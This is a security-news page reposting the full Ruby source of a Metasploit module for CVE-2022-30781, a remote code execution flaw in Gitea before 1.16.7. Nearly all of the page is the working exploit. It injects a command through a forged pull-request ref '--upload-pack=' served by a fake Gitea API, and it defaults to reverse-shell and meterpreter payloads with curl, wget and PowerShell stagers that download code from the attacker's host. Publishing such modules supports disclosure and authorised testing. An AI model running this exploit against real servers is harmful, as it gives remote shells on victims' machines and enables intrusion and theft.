Security
Headlines
HeadlinesLatestCVEs

Headline

Gitea Git Fetch Remote Code Execution

This Metasploit module exploits the Git fetch command in the Gitea repository migration process to allow for remote command execution on the system. This vulnerability affect Gitea versions prior to 1.16.7.

Packet Storm
#csrf#vulnerability#web#windows#linux#js#git#rce#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::Remote::HTTP::Gitea  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Gitea Git Fetch Remote Code Execution',        'Description' => %q{          This module exploits Git fetch command in Gitea repository migration          process that leads to a remote command execution on the system.          This vulnerability affect Gitea before 1.16.7 version.        },        'Author' => [          'wuhan005', # Original PoC          'li4n0', # Original PoC          'krastanoel' # MSF Module        ],        'References' => [          ['CVE', '2022-30781'],          ['URL', 'https://tttang.com/archive/1607/']        ],        'DisclosureDate' => '2022-05-16',        'License' => MSF_LICENSE,        'Platform' => %w[unix linux win],        'Arch' => ARCH_CMD,        'Privileged' => false,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => %i[curl wget echo printf],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :win_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'              }            }          ],          [            'Windows Dropper',            {              'Platform' => 'win',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :win_dropper,              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],              'DefaultOptions' => {                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',                'CMDSTAGER::URIPATH' => '/payloads'              }            }          ]        ],        'DefaultOptions' => { 'WfsDelay' => 30 },        'DefaultTarget' => 1,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => []        }      )    )    register_options([      Opt::RPORT(3000),      OptString.new('USERNAME', [true, 'Username to authenticate with']),      OptString.new('PASSWORD', [true, 'Password to use']),      OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),    ])  end  def cleanup    super    return if @uid.nil? || @migrate_repo_created.nil?    [@repo_name, @migrate_repo_name].each do |name|      res = gitea_remove_repo(repo_path(name))      if res.nil? || res&.code == 200        vprint_warning("Unable to remove repository '#{name}'")      elsif res&.code == 404        vprint_warning("Repository '#{name}' not found, possibly already deleted")      else        vprint_status("Successfully cleanup repository '#{name}'")      end    end  end  def check    return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank?    v = get_gitea_version    gitea_login(datastore['username'], datastore['password'])    if Rex::Version.new(v) <= Rex::Version.new('1.16.6')      return CheckCode::Appears("Version detected: #{v}")    end    CheckCode::Safe("Version detected: #{v}")  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e    return CheckCode::Unknown(e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e    return CheckCode::Detected(e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError,         Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e    return CheckCode::Safe(e.message)  end  def primer    [      '/api/v1/version', '/api/v1/settings/api',      "/api/v1/repos/#{@migrate_repo_path}",      "/api/v1/repos/#{@migrate_repo_path}/pulls",      "/api/v1/repos/#{@migrate_repo_path}/topics"    ].each { |uri| hardcoded_uripath(uri) } # adding resources  end  def execute_command(cmd, _opts = {})    if target['Type'] == :win_dropper      # Git on Windows will pass the command to `sh.exe` and not `cmd`.      # This requires some adjustments:      # - Windows environment variables are mapped by `sh.exe`: `%VAR%` becomes `$VAR`      # - `cmd` uses `&` to join multiple commands, whereas `sh.exe` uses `&&`.      # - Backslashes need to be escaped with `sh.exe`      cmd = cmd.gsub(/%(\w+)%/) { "$#{::Regexp.last_match(1)}" }.gsub(/&/) { '&&' }.gsub(/\\/) { '\\\\\\' }    end    vprint_status("Executing command: #{cmd}")    @repo_name = rand_text_alphanumeric(6..15)    @migrate_repo_name = rand_text_alphanumeric(6..15)    @migrate_repo_path = repo_path(@migrate_repo_name)    vprint_status("Creating repository \"#{@repo_name}\"")    @uid = gitea_create_repo(@repo_name)    vprint_good('Repository created')    vprint_status('Migrating repository')    clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}"    auth_token = rand_text_alphanumeric(6..15)    @migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)    @p = cmd  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError,         Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError,         Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e    fail_with(Failure::UnexpectedReply, e.message)  end  def exploit    unless datastore['AutoCheck']      fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank?      gitea_login(datastore['username'], datastore['password'])    end    start_service    primer    case target['Type']    when :unix_cmd, :win_cmd      execute_command(payload.encoded)    when :linux_dropper, :win_dropper      datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}"      execute_cmdstager(background: true, delay: 1)    end  rescue Timeout::Error => e    fail_with(Failure::TimeoutExpired, e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e    fail_with(Failure::UnexpectedReply, e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e    fail_with(Failure::NoAccess, e.message)  end  def repo_path(name)    "#{datastore['username']}/#{name}"  end  def on_request_uri(cli, req)    case req.uri    when '/api/v1/version'      send_response(cli, '{"version": "1.16.6"}')    when '/api/v1/settings/api'      data = {        max_response_items: 50, default_paging_num: 30,        default_git_trees_per_page: 1000, default_max_blob_size: 10485760      }      send_response(cli, data.to_json)    when "/api/v1/repos/#{@migrate_repo_path}"      data = {        clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}",        owner: { login: datastore['username'] }      }      send_response(cli, data.to_json)    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"      send_response(cli, '{"topics":[]}')    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"      data = [        {          base: {            ref: 'master'          },          head: {            ref: "--upload-pack=#{@p}",            repo: {              clone_url: './',              owner: { login: 'master' }            }          },          updated_at: '2001-01-01T05:00:00+01:00',          user: {}        }      ]      send_response(cli, data.to_json)    when datastore['CMDSTAGER::URIPATH']      super    end  endend

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6